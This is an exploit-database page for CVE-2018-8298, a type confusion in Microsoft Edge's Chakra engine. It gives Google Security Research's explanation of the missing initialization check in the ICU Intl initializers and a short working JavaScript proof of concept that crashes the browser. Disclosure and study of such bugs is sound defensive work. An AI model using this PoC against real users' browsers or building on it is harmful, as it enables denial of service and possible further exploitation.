Materialized exploit

CVE-2018-8298

CRITICAL KEV

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra JIT - InitializeNumberFormat and InitializeDateTimeFormat Type Confusion

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
The InitializeNumberFormat function in Intl.js is used to initialize an Intl.NumberFormat object, and InitializeDateTimeFormat is used for an Intl.DateTimeFormat object. There are two versions of each initializer. One is for WinGlob and the other is for ICU. The problem is that the versions for ICU don't check whether the given object has been initialized. This allows to initialize the same object multiple times which can lead to type confusion.

It seems the recent version of Edge in Windows Insider Preview has started to use ICU. Tested on Microsoft Edge 42.17672.1000.0 and Microsoft EdgeHTML 17.17672.

The initializer for ICU has no check:
https://github.com/Microsoft/ChakraCore/blob/bc2e55a7d80338ee4c9c63b76893f6d816dfe70b/lib/Runtime/Library/InJavascript/Intl.js#L1151

The initializer for WinGlob has a check:
https://github.com/Microsoft/ChakraCore/blob/bc2e55a7d80338ee4c9c63b76893f6d816dfe70b/lib/Runtime/Library/InJavascript/Intl.js#L3046

PoC:
*/

let object = {};
Intl.NumberFormat.apply(object);
Intl.DateTimeFormat.apply(object);
Intl.DateTimeFormat.prototype.formatToParts.apply(object);